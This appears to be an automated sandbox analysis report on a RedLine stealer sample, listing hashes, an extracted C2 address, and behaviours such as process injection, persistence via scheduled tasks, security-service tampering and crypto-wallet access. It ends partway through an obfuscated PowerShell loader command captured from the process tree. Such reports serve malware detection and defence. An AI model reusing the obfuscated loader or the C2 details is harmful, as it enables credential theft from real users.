Analysis
- max time kernel
152s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system - submitted
28/01/2023, 13:11
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20220812-en
20 signatures
150 seconds
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20220812-en
25 signatures
150 seconds
General
- Target 1d678410484e34165adb652f7e86a2b5cae5f58d.exe
- Size 361KB
- Sample230128-qfc65aeh53
- SHA256 34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
- MD5 18852c1659b6641a1f4eeacf6ce6bb8d
- SHA1 1d678410484e34165adb652f7e86a2b5cae5f58d
- SHA512 86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
- SSDEEP 6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
redline
Botnet
-
1
C2
-
107.182.129.73:21733
Attributes
-
auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe - RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/2856-172-0x0000000000400000-0x0000000000420000-memory.dmp family_redline - Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
description pid Process procid_target PID 872 created 3296 872 WerFault.exe 44 PID 2280 created 4404 2280 WerFault.exe 39 PID 2636 created 4176 2636 WerFault.exe 129 - Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
description pid Process procid_target PID 3236 created 2864 3236 SmartDefRun.exe 48 PID 3236 created 2864 3236 SmartDefRun.exe 48 PID 3236 created 2864 3236 SmartDefRun.exe 48 PID 3236 created 2864 3236 SmartDefRun.exe 48 PID 1288 created 604 1288 powershell.EXE 5 PID 2160 created 3296 2160 svchost.exe 44 PID 2160 created 4404 2160 svchost.exe 39 PID 2160 created 4176 2160 svchost.exe 129 - Blocklisted process makes network request 1 IoCs
flow pid Process 15 2984 powershell.exe - Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe - Executes dropped EXE 5 IoCs
pid Process 1692 C4Loader.exe 4740 new2.exe 3144 SysApp.exe 3236 SmartDefRun.exe 5024 fodhelper.exe - Stops running service(s) 3 TTPs
- Uses the VBS compiler for execution 1 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in System32 directory 16 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_E503B048B745DFA14B81FCFC68D6DECE svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C0427F5F77D9B3A439FC620EDAAB6177 svchost.exe - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4388 set thread context of 5024 4388 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4740 set thread context of 2856 4740 new2.exe 91 PID 3236 set thread context of 4924 3236 SmartDefRun.exe 116 PID 1288 set thread context of 1812 1288 powershell.EXE 121 - Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2700 sc.exe 1492 sc.exe 2724 sc.exe 1628 sc.exe 4888 sc.exe - Program crash 5 IoCs
pid pid_target Process procid_target 460 4388 WerFault.exe 79 4116 4740 WerFault.exe 88 4492 3296 WerFault.exe 44 2740 4404 WerFault.exe 39 1648 4176 WerFault.exe 129 - Checks processor information in registry 2 TTPs 9 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1324 schtasks.exe - Enumerates system info in registry 2 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 28 Jan 2023 13:12:53 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2984 powershell.exe 2984 powershell.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3144 SysApp.exe 3236 SmartDefRun.exe 3236 SmartDefRun.exe 1396 powershell.exe 1396 powershell.exe 3236 SmartDefRun.exe 3236 SmartDefRun.exe 3236 SmartDefRun.exe 3236 SmartDefRun.exe 1932 powershell.exe 1932 powershell.exe 2856 vbc.exe 3236 SmartDefRun.exe 3236 SmartDefRun.exe 1288 powershell.EXE 1896 powershell.EXE 1288 powershell.EXE 1896 powershell.EXE 1288 powershell.EXE 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 4492 WerFault.exe 4492 WerFault.exe 1812 dllhost.exe 2740 WerFault.exe 2740 WerFault.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2864 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2984 powershell.exe Token: SeDebugPrivilege 1396 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeDebugPrivilege 2856 vbc.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe Token: 34 1932 powershell.exe Token: 35 1932 powershell.exe Token: 36 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe Token: 34 1932 powershell.exe Token: 35 1932 powershell.exe Token: 36 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4388 wrote to memory of 5024 4388 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4388 wrote to memory of 5024 4388 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4388 wrote to memory of 5024 4388 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4388 wrote to memory of 5024 4388 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4388 wrote to memory of 5024 4388 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 5024 wrote to memory of 2984 5024 vbc.exe 85 PID 5024 wrote to memory of 2984 5024 vbc.exe 85 PID 5024 wrote to memory of 2984 5024 vbc.exe 85 PID 2984 wrote to memory of 1692 2984 powershell.exe 87 PID 2984 wrote to memory of 1692 2984 powershell.exe 87 PID 2984 wrote to memory of 1692 2984 powershell.exe 87 PID 2984 wrote to memory of 4740 2984 powershell.exe 88 PID 2984 wrote to memory of 4740 2984 powershell.exe 88 PID 2984 wrote to memory of 4740 2984 powershell.exe 88 PID 2984 wrote to memory of 3144 2984 powershell.exe 90 PID 2984 wrote to memory of 3144 2984 powershell.exe 90 PID 2984 wrote to memory of 3144 2984 powershell.exe 90 PID 2984 wrote to memory of 3236 2984 powershell.exe 92 PID 2984 wrote to memory of 3236 2984 powershell.exe 92 PID 4740 wrote to memory of 2856 4740 new2.exe 91 PID 4740 wrote to memory of 2856 4740 new2.exe 91 PID 4740 wrote to memory of 2856 4740 new2.exe 91 PID 4740 wrote to memory of 2856 4740 new2.exe 91 PID 4740 wrote to memory of 2856 4740 new2.exe 91 PID 2476 wrote to memory of 2700 2476 cmd.exe 105 PID 2476 wrote to memory of 2700 2476 cmd.exe 105 PID 2476 wrote to memory of 1492 2476 cmd.exe 107 PID 2476 wrote to memory of 1492 2476 cmd.exe 107 PID 2476 wrote to memory of 4888 2476 cmd.exe 115 PID 2476 wrote to memory of 4888 2476 cmd.exe 115 PID 2476 wrote to memory of 2724 2476 cmd.exe 108 PID 2476 wrote to memory of 2724 2476 cmd.exe 108 PID 2476 wrote to memory of 1628 2476 cmd.exe 109 PID 2476 wrote to memory of 1628 2476 cmd.exe 109 PID 2476 wrote to memory of 1684 2476 cmd.exe 110 PID 2476 wrote to memory of 1684 2476 cmd.exe 110 PID 2476 wrote to memory of 1112 2476 cmd.exe 113 PID 2476 wrote to memory of 1112 2476 cmd.exe 113 PID 2476 wrote to memory of 4676 2476 cmd.exe 111 PID 2476 wrote to memory of 4676 2476 cmd.exe 111 PID 2476 wrote to memory of 4268 2476 cmd.exe 112 PID 2476 wrote to memory of 4268 2476 cmd.exe 112 PID 2476 wrote to memory of 2744 2476 cmd.exe 114 PID 2476 wrote to memory of 2744 2476 cmd.exe 114 PID 3236 wrote to memory of 4924 3236 SmartDefRun.exe 116 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1288 wrote to memory of 1812 1288 powershell.EXE 121 PID 1812 wrote to memory of 604 1812 dllhost.exe 5 PID 1812 wrote to memory of 656 1812 dllhost.exe 3 PID 1812 wrote to memory of 940 1812 dllhost.exe 31 PID 1812 wrote to memory of 1020 1812 dllhost.exe 30 PID 1812 wrote to memory of 432 1812 dllhost.exe 10 PID 1812 wrote to memory of 744 1812 dllhost.exe 11 PID 1812 wrote to memory of 504 1812 dllhost.exe 29 PID 1812 wrote to memory of 1028 1812 dllhost.exe 28 PID 1812 wrote to memory of 1124 1812 dllhost.exe 27 PID 1812 wrote to memory of 1168 1812 dllhost.exe 26
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:656
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:604
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a9e35d9c-4b5a-40f3-9757-b4fa22a250e8}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:432
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1360
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1604
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1344
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1124 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2516
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:SWavgtPMGUxY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sRmXoMRywHuyqr,[Parameter(Position=1)][Type]$GIPoeqsHRj)$eaoDxNfwrqt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+'t'+'e'+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+'o'+'r'+''+'y'+'M'+'o'+'d'+'u'+'l'+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+'e'+'l'+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+'c'+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+','+[Char](65)+''+[Char](110)+'si'+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$eaoDxNfwrqt.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'p'+'e'+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+'e'+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+